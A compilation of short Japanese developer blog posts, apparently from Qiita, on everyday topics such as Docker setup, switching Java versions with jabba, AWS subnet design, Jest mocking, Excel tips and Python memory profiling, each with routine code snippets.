  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
```

Ubuntuのインストール手順を見ていて、リポジトリが見つからずコケて1日悩みました。よく見ないといけないですね…

## 4.確認
インストールがされたか確認する手順です。
```bash
sudo docker run hello-world

#Hello from Docker!
#This message shows that your #installation appears to be working correctly.
```

これにて環境構築完了です。
LeoCad の画面が表示されない

「LEGO ブロック作品を LeoCAD でつくる1」
https://qiita.com/nanbuwks/items/357b730348331e3bbc10

などで紹介した LeoCAD。
今までの記事では Linux 上で作成してきたけれども、MS-Windowsで画面が表示しないという事例があった。


# 環境

- MS-Windows 10 Pro
- LeoCAD-Windows-23.03.exe
- ThinkPad X260 (第7世代)

# 原因

ビデオドライバーが入っていなかったのが問題らしい。

ドライバーをインストールしたら正常になりました。


![Screenshot from 2025-05-02 18-51-29.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/bd13559a-cd0c-4819-93a8-00b702c3c449.png)



https://www.intel.co.jp/content/www/jp/ja/download/776137/intel-7th-10th-gen-processor-graphics-windows.html

![Screenshot from 2025-05-02 19-09-03.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/139524/8ee204e6-236b-4525-84f6-a24ed16d7a06.png)
各フィールドのバリデーション設定  @validates / モデル　一対一

```ruby:
@validates('name')
    def validate_name(self, key, value):
        if len(value) > 64:
            raise ValueError("名前は64文字以内で入力してください。")
        return value

    @validates('birthdate')
    def validate_birthdate(self, key, value):
        if value and value > date.today():
            raise ValueError("生年月日は未来の日付にできません。")
        return value
```

### UserモデルとProfileモデル　関連付ける

```ruby:
class User(db.Model, UserMixin):
    profile = db.relationship('Profile', backref='user', uselist=False)

class Profile(db.Model):
    user_id = db.Column(db.Integer, db.ForeignKey('user.id'))
```
Qiita・Dev.to・Hashnode対応：Markdown記事を一括投稿できるBlogToolを作った話

### ブログなんて、1つ書くだけでも面倒なのに

複数のプラットフォームに投稿しようものなら  
地獄の門が開く。

- 記法が微妙に違う  
- タグのルールが違う  
- 読者層も違う（優しい人がいない）

……ってそれぞれクセが強すぎて、  
「一括で投稿？ハハ、できるもんならやってみな😇」状態。

---


で、作ったのがこのBlogTool。  
ざっくり言うと、**Markdownで書いた記事を、複数ブログに一括投稿できるツール**です。
（まだバグが結構あるのでリリースは先です(´;ω;｀)）

---

### 主な機能（というか、欲しかったもの全部ぶち込みました）

- **Qiitaと同じMarkdown記法**  
  → もう、独自記法との戦いは終わりにしよう。

- **Wordみたいな書式ボタン**  
  → え？ 手で書くの？ Ctrl+Bでいいじゃん。

- **VSCodeライクなレイアウト自由配置**  
  → 編集画面を好きなように動かせる。ドック、分割、タブ。全部ある。

- **投稿時に自動で各サービス用に変換**  
  → 「書いた内容がそのまま投稿できない」を卒業しよう。

- **海外プラットフォームは自動翻訳**  
  → DeepLで翻訳。コードブロックはちゃんと守る。えらい。

- **投稿後の閲覧数・いいね数をグラフ表示**  
  → 数字で殴られるのが好きな人向け。

- **一括投稿（API対応サービスのみ）**  
  → 現在は Qiita / Dev.to / Hashnode 対応。増やす予定……たぶん。


まだまだ実装したいことがありますが、サクラダファミリアになりそうなので一旦公開しました。

---

### トークン登録は手動。でもそこだけ頑張ればあとは楽。

設定画面から各プラットフォームのAPIトークンを入れれば、  
あとはGUIでポチポチするだけ。CLI？ 知らんな。

---

### 🙃 最後に正直なことを言うと

無職で、しかも貯金が0に向かって猛スピードで突き進んでいて、  
SAN値ピンチです。

---

[☕ コーヒーをおごってもらえると泣いて喜びます（ガチ）](https://buymeacoffee.com/irori)
javaのバージョンを切り替えたい！

# バージョンは面倒くさい

ライブラリや環境は、バージョンに依存していることがよくあります。
今回はそんなバージョン問題のjavaのお話をしたいと思います。

## 困った問題

開発において、javaのバージョン指定をされることがあります。
プロジェクトAは、ちょっと昔から継続しているプロジェクトなのでjava17だったり
新しいプロジェクトBは、新規なので出来るだけ新しいバージョンにしておこうということでjava21だったりするわけですね。

ここで問題になるのが、環境で使用できるjavaのバージョンは1つのみという事です。

このケースだとプロジェクトBの開発の為、21にするとプロジェクトAのバグ修正が入ると17に戻す必要があったりします。
何が面倒くさいかというと、java_homeとpathを毎回変更しないといけない事です！
当然こんな面倒くさい作業は誰かがいい感じで楽にしてくれるものを作ってくれているはずです。

## 切り替えを楽にしてくれるもの

その名は、「jababa」さん
nvm風に切り替えられるものを探していて、これにしたんですがnvmに影響を受けて作ったみたいです。
似ていて当前ですねｗ

https://github.com/shyiko/jabba

さて、これで単純に切り替えられたのなら記事にしなかったんですが、この後問題が発生！？

## java21がリストにない！！

確認してみると、java21がない。
調べた限り、更新方法も記載がみつからなかったのですがソースを見ると環境変数JABBA_INDEXのURLからリストを取得している様なのです。
じゃあ、このリストに欲しいものがあればいけるのではないかと調べるとこちらの方が新しい互換リストを公開されていたのでこちらを使わせてもらうようにしました。

https://github.com/typelevel/jdk-index

:::note alert
このリストの中身が安全かどうかは、必ずご自分でご確認ください。

```powershell
$env:JABBA_INDEX = "https://raw.githubusercontent.com/typelevel/jdk-index/refs/heads/main/index.json"
```
:::

上記、環境変数を設定すれば新しいパッケージが表示されるのでそちらを指定して、インストールすることができます。


## 結論

jababaで非対応なバージョンを入れたい場合は、環境変数「JABBA_INDEX」にリストのURLを設定して使用する！

外部サーバーに自分用のリストをアップするのが面倒くさい場合は、以下のように簡易サーバーを起動して
```
python -m http.server --directory path/to/directory 9000
```

環境変数をローカルに指定して実行するのでも良いと思います。
```
$env:JABBA_INDEX = "http://localhost:9000/index.json"
```
Excelで複数セルの数式を、テキストに貼り付けたい

# はじめに
Excelで複数セルの数式を、テキストエディターで編集したときに、複数選択してセルをコピーすると、式の結果がクリップボードにコピーされ、数式のみを取得することが出来なかった。
解決策があったのでメモとして記録しておく。

# 環境
- Windows 11
- Microsoft® Excel® for Microsoft 365 MSO (バージョン 2503 ビルド 16.0.18623.20208) 64 ビット 

# やりかた
1. "数式"タブを選択する
1. "数式の表示(ctrl+shift+`)"を選択すると表示が数式になる
1. 対象のセルを選択してコピーすると数式でコピーされる

![animation.gif](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3553099/feb3c6f4-79fd-4dd0-8491-8c5c02aeed46.gif)
Git/Mavenコマンドめも

# Gitコマンドめも

## 特定ブランチをpullするコマンド
```bash
git clone -b {branch} https://xxxx.git
```

## pullしてくるdosバッチ
```dosbatch:pull.bat
@echo off
cls
cmdkey /delete:git:https://{url}:{port}
cmdkey /generic:LegacyGeneric:target=git:https://{url}:{port} /user:{user} /pass:"{pass}"
 
echo # {branchname}
git -C C:/git/xxxxx pull origin {branchname}
echo.
 
timeout /nobreak 10
exit /b
```

## Maven installバッチ
```dosbatch:mvninstall.bat
@echo off
cls

echo # {branch}
cd C:/git/{branch}
 
call mvn clean install
echo.
 
cd C:/git/
 
timeout /nobreak 10
exit /b
```
JAVASCRIPT

CREÓ JAVASCRIPT en 10 DÍAS y SE FORRÓ
https://www.youtube.com/watch?v=0XHtNivstl4

# Mozilla

# Netscape

# JAVA

# Brave

# Ref
TypeScript/JavaScriptで作るプログラム, 値の更新と合計 
https://qiita.com/kaizen_nagoya/items/e0c5f4c5d71e1ad26034

TypeScript始めたてに知ったこと
https://qiita.com/kaizen_nagoya/items/9dbe119ea4919a30fba2

ゼロから始めるJavaScript。英語(59)Youtubeで勉強しようと思った。初日。
https://qiita.com/kaizen_nagoya/items/15b222be5bfe7f26979a

「Java、Javascript」「インド、インドネシア」:別物と言う割に共通点は多い。
https://qiita.com/kaizen_nagoya/items/2c331ff6654d41d5e157

「DockerでPHP7.0×Apacheの環境を構築する@kurkuru」IT業界新人利用時の１6の壁(mac mini編）
https://qiita.com/kaizen_nagoya/items/315e8d05a6eef00b56d1

docker(48) One liner program記録帳
https://qiita.com/kaizen_nagoya/items/43ccf4e2d16e3a81adba

nodeからvueで深みに嵌った件。docker(160)
https://qiita.com/kaizen_nagoya/items/da2132ec92b01ae61bae

Webアプリケーションを学ぶ 通信(107)
https://qiita.com/kaizen_nagoya/items/f1c9b063317003cddff9

今日Xpathを覚えた
https://qiita.com/kaizen_nagoya/items/b3d9a3aca9643e5d243a

1月６日は色(19)いろの日(1)参考資料
https://qiita.com/kaizen_nagoya/items/fcfe3901a0d7468d1528

「@youwht 直近１年のQiita(24)記事分析で分かった７つの「驚愕」」に動揺。
https://qiita.com/kaizen_nagoya/items/b12746befa7af38a21fd

JAVA, Python, JavaScript, C# あなたはXML処理ソフトをどの言語で書きますか？
https://qiita.com/kaizen_nagoya/items/08cc37b64d0995774fb1

プログラミング言語教育のXYZ
https://qiita.com/kaizen_nagoya/items/1950c5810fb5c0b07be4

OSC Nagoya 2018, コーディング標準は誰のため？名古屋のIoTは名古屋のOSで
https://qiita.com/kaizen_nagoya/items/b4ebc1d3905517c4a716

プログラミング言語の勉強の仕方と水準
https://qiita.com/kaizen_nagoya/items/ba2651035339ef45b3aa

# Ref.
LinuxChad
https://qiita.com/kaizen_nagoya/items/cdae082ffdfffee10605
MVP開発締切前日にVPCを作り直した話


![MVP開発締切前日にVPCを作り直した話.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2503918/2a09c22d-dc75-41ef-8b80-1da4ace7f132.jpeg)

締切前日の夕方。最後の動作確認だけを残して、僕は余裕すら感じていました。

👨‍💻「ALBとECSの疎通確認、これで終わりだ…」

**ところが。**

👨‍💻「ん、何で通らない？いやな予感がする…」

**ALBに紐づくAZを焦って確認すると、愕然としました。**

👨‍💻「AZ-1aにパブリックサブネットしかない…AZ-1cにはプライベートサブネットだけ？」

**そもそもパブリックサブネットとプライベートサブネットの両方が入っているAZが無かったのです。**

👨‍💻「まずい、サブネット追加しないと…」

しかし。

「IPアドレスを使い切っているだと…？」


## 自己紹介

最近AWSを本格的に触り始めたnaokiです。

昨年末SESに転職し、現在はAI基盤モデル開発企業に常駐し、バックエンド開発やインフラ構築を担当しています。

今回は幸運にも自社（SES）サービスの立ち上げメンバーに選ばれ、PM兼テックリードとしてMVP開発を進めていました。

ネットワーク設計はほぼ未経験ながら勉強も兼ねてインフラを担当させてもらっていました。

## 気づいた時の構成
以下のような構成にしていました。

![無題のプレゼンテーション.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2503918/c20e2044-0889-4468-bbe7-db49918a8af4.jpeg)

パブリックサブネットとプライベートサブネットの両方が入っているAZが無い状態でした。
なぜこんな構成で最後まで気づかなかったのか...。


## なぜ問題が起きたのか
元々の設計は以下のようなものでした。

```
- VPC CIDR: `10.0.10.0/24`（256アドレス）
- Public Subnet: `10.0.10.0/25`
- Private Subnet: `10.0.10.128/25`
```

AWSで10.0.10.0/24のVPCを2つのサブネットに分割し、10.0.10.0/25をパブリックサブネット、10.0.10.128/25をプライベートサブネットとして設定しました。

これは元々256個あるIPアドレスを128個ずつ、ちょうど半分に分割した形です。

各サブネットはネットワークアドレスとブロードキャストアドレスの2つを除いた126個のIPアドレスを使用できます。

25ビット目の値（0か1か）でサブネットを区別しています。
例えば、10.0.10.0/25は25ビット目が0、10.0.10.128/25は25ビット目が1となります。
```
10.0.10.0/25 : 00001010.00000000.00001010.00000000

10.0.10.128/25 : 00001010.00000000.00001010.10000000
```

1つのAZ内で、VPC内の全てのIPアドレスを使い切る設計にしていたため、新規でサブネットを作成することが不可能だったのです。

## 再設計で乗り越えた危機

腹をくくり再設計し、以下のように構成を変更しました。

- AZ-1a
    - Public subnet: `10.0.10.0/26`
    - Private subnet: `10.0.10.64/26`
- AZ-1c
    - Public subnet: `10.0.10.128/26`
    - Private subnet: `10.0.10.192/26`

これで複数AZに対応でき、拡張性も持たせることができました。


## 終わりに

ネットワーク設計の基本を知らず、土壇場で設計を変える羽目になるという苦い経験でしたが、これをきっかけにネットワーク設計の重要性を深く理解しました。

この記事が、誰かの役に立てば幸いです。
教師なし異常音検知モデルを長期インターンで実装した話

# 目的・背景
製造業では、工場の製造ラインから音を収集し、異常を早期に発見することが求められます。
しかし、異常音のデータは非常に少なく、異常音検知モデルの学習には教師あり学習が難しいという課題があります。
このような背景から、正常音のみを使って学習し、異常を検出する「教師なし異常音検知モデル」が近年注目を集めています。

本記事では、音響コンペティション「DCASE」で1位を獲得した手法を参考にしながら、教師なし異常音検知モデルを実装した事例について紹介します。
モデル構成やアプローチ、実装上の工夫点、得られた知見などを簡潔にまとめていきます。

# モデル構成
データの前処理では、librosaを用いて音声データをメルスペクトログラムに変換しました。
モデルには、Meta社が開発した音響特徴抽出モデル BEATs を使用し、その上に自己注意統計プーリング層と2つの全結合層を追加しました。
損失関数には、識別性を高めるために ArcFace損失 を導入しています。

また、BEATsの自己注意モジュールにはLoRA（Low-Rank Adaptation）を適用し、パラメータの追加を抑えつつ効率的なファインチューニングを実現しました。

異常検知の際は、正常音の埋め込み空間における最近傍の距離を異常スコアとして用いるK近傍法（KNN）を採用しています。

# 実装上の工夫点
工夫した点は主に2つあります。

#### 1つ目は、データの前処理方法の検討です。
参考にした論文では、前処理に使用するライブラリや設定が明記されていませんでした。
そこで、kaldiとlibrosaの両方を用いて、それぞれ異なる前処理設定で実験を行い、結果を比較しました。
最も良い結果が得られたのは、librosaで正規化ありの設定でした。
kaldiはlibrosaに比べてスペクトログラムの特徴の変化が小さく、それが精度に影響していたと考えられます。

#### 2つ目は、PyTorch Lightningを使った論文手法の再現です。
論文には実装コードが付属しておらず、ArcFace損失や自己注意統計プーリング層などの構造を、自ら論文を読み解きながら組み込む必要がありました。
特に難しかったのは、LoRAによるファインチューニングの実装です。
既存の学習済みモデルにLoRAを組み込んだ構造を読み込もうとした際に、パラメータの不一致によるエラーが頻発し、その対応に多くの時間を費やしました。

# 得られた知見
まず、今回扱ったそれぞれの技術のアイデアに非常に興味を持ち、深く感心しました。

#### ・自己注意統計プーリング層：
時系列データに対して、平均と分散をとり、それらを結合して1つの特徴ベクトルとして扱う手法です。
これにより、突発的な異常音などの変化を特徴量に反映しやすくなります。

#### ・LoRA（Low-Rank Adaptation）：
大きなパラメータ行列を低ランクな2つの行列に分解し、効率よく学習を行う手法です。
パラメータ数を抑えながらも、高い性能を維持できる点が非常に印象的でした。

#### ・SMOTE（Synthetic Minority Over-sampling Technique）：
少数のデータをもとに新しいデータを合成することで、データの不均衡を補正する手法です。
特に、正常音データの中でもクラス間に偏りがある場合、SMOTEで補完することでK近傍法の精度向上に貢献します。

このように、それぞれの技術が互いに補完し合いながら、一つのモデルとして機能していることに強く興味を持ちました。
今後も、さまざまな技術に触れながら学びを深めていきたいと感じています。

# 参考文献
https://dcase.community/documents/challenge2024/technical_reports/DCASE2024_Lv_110_t2.pdf
「長い文章を良い感じに整形して読みやすくするやつ」を作った

いつも VSCode の置換機能でやってることを一気にやるアプリが欲しかったので作った。

みんな気軽にツール作ろう！ (>ヮ<)

こんな感じ

https://summer498.github.io/document-format/

![screenshot.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2676125/d1894dad-3d05-4109-b904-9f842e2d8d50.png)
 
## 用途
PDF をコピー&ペーストして自分が読みやすいように整形するときに。
Qiita は論文を読む人も多くいるだろうから、役に立つはず。

## 処理内容
- 改行の除去
    - 空行（段落）を保持
- ピリオド・句点ごとに改行挿入
- カンマ・読点での句切り＋インデント整形

## 補足
クライアント内で動作が完結。
サーバ通信なしで動作します。

## ⚠️注意事項
このツールは「読む」ためのツールです。
文書の剽窃とかしたら絶対あかんで。
Jestでモック作成したのに、DBに実通信していた話

# 状況
Jestによるテスト中、本来モック化したはずのSupabase関数が実際にDBに通信してしまい、タイムアウトエラーが発生した。

# エラー内容
```.bash
console.error
FetchError: request to https:/***supabaseのAPI***/?select=* failed, reason: Socket connection timeout
```

# 環境
* React + Vite
* Supabase
* Jest + React Testing Library

# 原因：モックの記述
```.js
jest.mock("../utils/SupaBaseFunctions.js", () => {
  getAllStudyRecords: jest.fn().mockResolvedValue({ data: [], error: null }),
  insertStudyRecords: jest.fn(),
});
```

`jest.mock("～", () => {/**省略**/})`と書いてしまい、ただ関数ブロックとして書いてあり何も return できていない。`undefined`が返る。

# 解決
```.js
jest.mock("../utils/SupaBaseFunctions.js", () => ({
  getAllStudyRecords: jest.fn().mockResolvedValue({ data: [], error: null }),
  insertStudyRecords: jest.fn().mockResolvedValue(undefined),
  deleteStudyRecordsById: jest.fn().mockResolvedValue(undefined),
}));
```

`jest.mock("～", () => ({/**省略**/}))`と修正。これにより`{}`をreturnする。（returnの省略記法）

# 補足：mockResolvedValue()を使う理由
モック化した関数は(`getAllStudyRecords`など)は非同期関数。
そのため、`jest.fn()`だけでは`undefined`を返してしまい、`await`での処理に失敗。
→よって、`mockResolvedValue()`を使う。
異世界転生！？　能力値ジェネレーターVer1.0

### 概要
　久々の投稿になりますが、正直毒にも薬にもならないクソコードです。
 あと、可読性も終わってるしグローバル関数まで堂々と使っているという…。
　うーん、この。
  要はネタプログラムなんで、改良を加えるのはモチベ次第という事で。
  こんなコードを作った自分が情けないです…(´;ω;｀)
 

```異世界転生能力値ジェネレーター.py
import random

class Job:
    def set_data(self,set_job):
        self.job=set_job

    def print_data(self):
        print(f"職業は{self.job}です。")

job_print=Job()
job_print.set_data('勇者')

job_print2=Job()
job_print2.set_data('魔法使い')

job_print3=Job()
job_print3.set_data('戦士')

job_print4=Job()
job_print4.set_data('僧侶')

def title():
    print("<<<異世界転生！？ 能力値ジェネレーター>>>")

def entry():
    global name
    global num
    #名前入力
    name=str(input("名前を入力してください>>>"))
    
    #戦闘数値の根幹になる数値を入力
    num=int(input("数値を入力してください(1~9)>>>"))
    if num<1 or num>9:
        print("やり直し！")
        main()
    else:
        calc()

def calc():
    #補正値
    global param_num
    rand_num=int(random.randint(1,100))
    
    #付加値
    add_num=int(random.randint(1,100))
    
    #能力値計算式
    param_num=num*rand_num*100+add_num

    #能力値の表示
    print(f"{name}の能力値は、{param_num}です。")

    if param_num>80000:
        print(f"す、凄い！\n{name}の能力は十分に強い！")
        print(f"「わぁ～、スゲ～！！」")
    if rand_num>=10 and rand_num<20:
        print(f"{name}の属性は火だ")
    elif rand_num>=20 and rand_num<40:
        print(f"{name}の属性は水だ")
    elif rand_num>=40 and rand_num<60:
        print(f"{name}の属性は土だ")
    elif rand_num>=60 and rand_num<80:
        print(f"{name}の属性は風だ")
    elif rand_num>=80:
        print(f"{name}の属性は光だ")
    else:
        print(f"{name}の属性は無だ")

def job():
    if param_num>=50000:
        job_print.print_data()
    elif param_num<50000 and param_num>=40000:
        job_print2.print_data()
    elif param_num<40000 and param_num>=30000:
        job_print3.print_data()
    elif param_num<30000 and param_num>=20000:
        job_print4.print_data()
    else:
        print(f"地道に農作物を耕すなどして働きましょう")
def main():
    title()
    entry()
    job()

main()
```

### 使用画面
　基本ターミナルで動かすテキスト形式です。
 
![スクリーンショット 2025-05-02 183548.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2747052/1dce20b2-af72-4ff7-9899-ce13b3244175.png)



### 作ってみた正直な感想
　正直、ネタで作ったと言っていますが、ネタだとしてもダダ滑りの寒～いやつなんで…。
 今後改良するのであれば、他の部分のクラス・インスタンス化をして、役職もいろいろ増やしてみるのがいいかなぁなんて思ってます。
 　それではまた今度！
FTPのタイムアウトに関するめも

# FTPのタイムアウトに関するめも

```
ConnetionTimeout (ミリ秒) - ハンドシェイクコネクション確立までの許容時間
DefaultTimeout　 (ミリ秒) - サーバリクエストのレスポンスが返ってくるまでの許容時間
SoTimeout 　　　 (ミリ秒) - ソケット通信の受信間隔監視時間
```
【GitHub】リポジトリのclone

# 記事概要
GitHubでリモートリポジトリを自分のPCにcloneする方法をまとめる。

# 前提
- GitHubアカウントは作成済みである
- GitHub DesktopをPCにインストール済みである
- アプリケーションはGitHubに登録済みである

# 手順(他人のリポジトリ)
1. ダウンロードしたいリモートリポジトリを、ブラウザで開く
1. 「Code」をクリックする
1. HTTPSタブのURLをコピーする
    [![Image from Gyazo](https://i.gyazo.com/29fab7d0fc10622bf4d9e473df54a05f.png)](https://gyazo.com/29fab7d0fc10622bf4d9e473df54a05f)
1. 下記コマンドを実行する
    ```
    # クローンアプリを作成するディレクトリに移動
    % cd ~/[クローンアプリ作成ディレクトリ]
    
    % git clone ダウンロードしたいリモートリポジトリのURL
    ```

# 手順(自分のリポジトリ)
1. GitHubを開き、Add＞Clone Repositoryを選択する
1. GitHub.comからcloneするリポジトリを選択する
1. Local Pathにcloneしたい場所を選択する
1. Cloneをクリックする

# 備考
## pullとの違い
|作業|作業の目的|
|-|-|
|pull|ローカルリポジトリとリモートリポジトリがすでに紐付いている状態で、リモートリポジトリの情報をローカルリポジトリに反映すること|
|clone|リモートリポジトリだけ存在し、手元にローカルリポジトリがない状態で、リモートリポジトリからローカルリポジトリを作成すること|
AWSめも

# AWSコマンドめも

## RDSでロックしっぱなしになった場合
```sql
■RDSでロックしっぱ 
__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/ 
select SID, SERIAL#, SQL_ID, STATUS from V$SESSION where USERNAME = 'AWSUSER'; 
  
__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/ 
begin 
    rdsadmin.rdsadmin_util.cancel( 
        sid    => sid,  
       serial => serial_number, 
        sql_id => sql_id); 
end; 
/ 
__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/__/ 
で復帰可能 
```
正規表現の代わりのユーザー定義関数

```
Function ExtractAllBetween(text As String, startStr As String, endStr As String, Optional delimiter As String = ",") As String
    Dim result As String
    Dim startPos As Long, endPos As Long
    Dim currentPos As Long
    Dim temp As String

    result = ""
    currentPos = 1

    Do
        startPos = InStr(currentPos, text, startStr)
        If startPos = 0 Then Exit Do
        
        startPos = startPos + Len(startStr)
        endPos = InStr(startPos, text, endStr)
        If endPos = 0 Then Exit Do
        
        temp = Mid(text, startPos, endPos - startPos)
        
        If result = "" Then
            result = temp
        Else
            result = result & delimiter & temp
        End If

        currentPos = endPos + Len(endStr)
    Loop

    ExtractAllBetween = result
End Function
こめん
AWSブロックチェーンについてまとめる

# はじめに
株式会社TechoesのTです、
今回はAWSブロックチェーンについて調べたことをまとめていきたいと思います。

# ブロックチェーンについて
### そもそもブロックチェーンって何？

ブロックチェーン技術とは
分散型台帳とも呼ばれていて取引データ(トランザクション)をブロックという単位で分割し、それを鎖のように時系列でつなぎ合わせて管理する技術です。特定のサーバーなどを持たずにネットワーク参加者全員で情報を共有・検証するのが特徴

### ブロックチェーンのしくみ
ブロックチェーンは、取引データの集まり（トランザクション）を「ブロック」という単位でまとめる構造です。

それぞれのブロックは「前のブロックのハッシュ値」を含むことで、鎖のように連結されています。

各ブロックには以下の要素があります。
| 項目         | 内容                                  |
| ---------- | ----------------------------------- |
| トランザクション   | このブロックで記録される取引                      |
| タイムスタンプ    | ブロックが作成された日時                        |
| ハッシュ値      | このブロックのデータをもとに生成された固定長の値（SHA-256など） |
| 前ブロックのハッシュ | 1つ前のブロックのハッシュ値（これでチェーン化）            |

前のブロックのハッシュ値を含むことにより後続ブロックとの整合性が担保されるため __改ざん防止__ になります。

### ブロックチェーンのメリット・デメリット

| 項目                  | メリット                          | デメリット                             |
| ------------------- | ----------------------------- | --------------------------------- |
| **改ざん耐性**           | 各ブロックが暗号化されてつながっており、改ざんが極めて困難 | 一度記録された情報を削除・修正できない（可逆性がない）       |
| **透明性**             | 取引履歴がすべてのノードに公開されているため信頼性が高い  | 公開性が高すぎると、プライバシーの確保が難しくなる場合がある    |
| **分散管理**            | 特定の中央機関に依存せず、単一障害点がない         | ネットワーク全体での合意形成に時間と計算コストがかかる       |
| **トレーサビリティ**        | すべての取引履歴が記録・追跡可能              | 情報が残り続けるため、削除が必要なケースに向かない         |
| **自動化（スマートコントラクト）** | 条件に応じた自動処理が可能で、業務効率化ができる      | 実装ミスや脆弱性があると、取り返しのつかない動作をする可能性がある |
| **可用性**             | ノードが複数存在するため、1つの障害で全体が停止しない   | ノードを多数運用するためのインフラコストが増加することも      |
| **信頼性の高い共有台帳**      | 複数企業間での正確な情報共有が可能             | 複数企業の合意やガバナンス整備が必要になる             |

# AWSブロックチェーンについて
### Amazon Managed Blockchain（AMB）
### 概要
Ethereum、Polygon、Bitcoin、Hyperledger Fabric のネットワークをフルマネージドで構築・管理できるサービスです。
特徴としては、ネットワークの作成、ピアノードの追加・削除、証明書管理などをAWSがマネージドで提供している他
IAMでのアクセス制御やほかのAWSサービスとの連携がしやすいなどがあります。

### 料金
ピアノード、ピアノードストレージ、および行ったリクエストの数に応じて課金されます。

東京リージョンでの料金
#### オンデマンドのピアノードの料金
| インスタンスタイプ | 1 時間あたりの料金 (USD) |
|----- | ----- |
| bc.c5.2xlarge | USD 0.685 |
| bc.c5.4xlarge | USD 1.37 |
| bc.c5.xlarge | USD 0.342 |
| bc.m5.2xlarge | USD 0.794 |
| bc.m5.4xlarge | USD 1.587 |
| bc.m5.large | USD 0.198 |
| bc.m5.xlarge | USD 0.397 |
| bc.t3.large | USD 0.174 |
| bc.t3.xlarge | USD 0.348 |
#### ピアノードのストレージ
ピアノードストレージは、ネットワーク上のすべてのトランザクションの履歴を保存する。GB 単位で課金される。

__USD 0.12 GB-月毎__

#### リクエスト数
100万リクエストあたり
__USD 4.88__

### 構築方法
Ethereumのパブリックネットワークに接続するにはAMBのコンソールからノード作成ボタン１つで接続できます。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3492991/198d0a3f-d26a-48ec-a732-8534dafd861c.png)

プライベートネットワークを作成する場合は、ネットワーク名とフレームワークバージョンを指定すれば構築可能です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3492991/91d2f12b-3dbe-4207-9038-161059db8fe9.png)

TerraformなどのIacツールからでも操作可能なようですがAMBへのフルサポートはしていないようです。
実際に作成する際はコンソール上やCFNを使用して作成するのが良いようです。

# 所感
今回はAWSのブロックチェーンのAMBについて調べてみました。
正直、調べる前はブロックチェーン = 仮想通貨のイメージが強かったのですがAMBを使用することで企業内外のデータ連携にも活用できそうな技術だと理解しました。
AWSを使えばゼロから構築せずにブロックチェーンの世界に足を踏み入れられるので今後、活用できそうなシーンを今回調べた知識を基に探していきたいと思います。
# 参考記事

https://aws.amazon.com/jp/managed-blockchain/pricing/

https://www.ntt.com/bizon/glossary/j-h/block-chain.html
PowerShellめも

# PowerShellめも

## String.format的なやつ
```powershell
Write-Host("Serial Number : {0}" -f $serialNumber)
```

## Postコマンド
```powershell
$body = @{ param1="a"; param2="b" } | ConvertTo-Json ; $body = [Text.Encoding]::UTF8.GetBytes($body) ; $url = "http://localhost:8080/hoge"

Invoke-RestMethod -ContentType 'application/json' -Method "POST" -Uri $url -Body $body
```
[スニペット]Pythonでメモリの使用状況を出力する

psutil を使う（クロスプラットフォーム）
psutil はプロセス情報を簡単に取得できる外部ライブラリです。
以下のように現在プロセスの RSS（Resident Set Size＝常駐メモリ量）を取得して print()／logging に流せます。
```python
import os
import psutil
import logging

# ロガー設定
logging.basicConfig(level=logging.INFO)
logger = logging.getLogger(__name__)

def get_memory_mb():
    process = psutil.Process(os.getpid())
    # rss はバイト単位なので MB に変換
    return process.memory_info().rss / (1024 * 1024)

if __name__ == "__main__":
    logger.info(f"Start: {get_memory_mb():.2f} MB")
    # — ここでメモリを消費する処理 —
    data = [i for i in range(10**7)]
    logger.info(f"After allocation: {get_memory_mb():.2f} MB")
    del data
    logger.info(f"After free: {get_memory_mb():.2f} MB")
```
tracemalloc を使う（Python標準）
Python3.4+ 標準の tracemalloc で、スナップショット単位にメモリ使用量を確認できます。
ポイント
コード内のどの行でメモリが増えたか解析可能
長時間追跡するとオーバーヘッドがあるので必要な範囲で使用
```python
import tracemalloc

def your_function():
    data = [i for i in range(10**7)]
    return data

if __name__ == "__main__":
    tracemalloc.start()

    snapshot1 = tracemalloc.take_snapshot()
    your_function()
    snapshot2 = tracemalloc.take_snapshot()

    stats = snapshot2.compare_to(snapshot1, 'lineno')
    for stat in stats[:5]:
        print(stat)
    
    current, peak = tracemalloc.get_traced_memory()
    print(f"Current: {current / 1024**2:.2f} MB; Peak: {peak / 1024**2:.2f} MB")

    tracemalloc.stop()
```
【基礎知識】サービス設計

# 記事概要
Webアプリケーションのサービス設計について、まとめる。

# 開発手順
## 企画
どんなアプリ（機能）を作るか決める段階のこと
誰のどんな問題を解決したいのかを決める

### ペルソナ
マーケティングの用語で、「サービスを使用するユーザー」のこと
「ターゲット」よりも詳細に「サービスを使用するユーザー」を決める

年齢層・職業・性別や現在の境遇などまで決めることで、よりリアルに使用者の目線でサービスを考案できる

### ユーザーストーリー
「ペルソナの課題に対して、どのような機能で解決していくのか」を明確にしたもの

[![Image from Gyazo](https://i.gyazo.com/df10fc1d5774d6432eb4889152dbf9b9.png)](https://gyazo.com/df10fc1d5774d6432eb4889152dbf9b9)

## 要件定義
詳細な情報を整理すること

- ユーザーがどのように機能を使用するのかを考え言語化する
- 障害が起こった時どうするかを決める

[![Image from Gyazo](https://i.gyazo.com/49c120bbc3f566767c5474daa6ab8c3f.png)](https://gyazo.com/49c120bbc3f566767c5474daa6ab8c3f)

## 設計
エンジニアがどのようにアプリや新機能を作っていくかの手順書や、必要な設計図を作る工程

### 基本設計
開発に必要な内容へまとめることであり、外部設計とも呼ばれる

#### 画面遷移図
どの画面でどんな操作をしたらどのページに移動するかを図で表記したもの

[![Image from Gyazo](https://i.gyazo.com/80f9d7e4e206f74941c5aed157c775e0.png)](https://gyazo.com/80f9d7e4e206f74941c5aed157c775e0)

### 詳細設計
要件定義や基本設計の情報を元に、実際に書くべきコードを洗い出す作業

#### DB設計
開発で使用するDBの表を設計すること
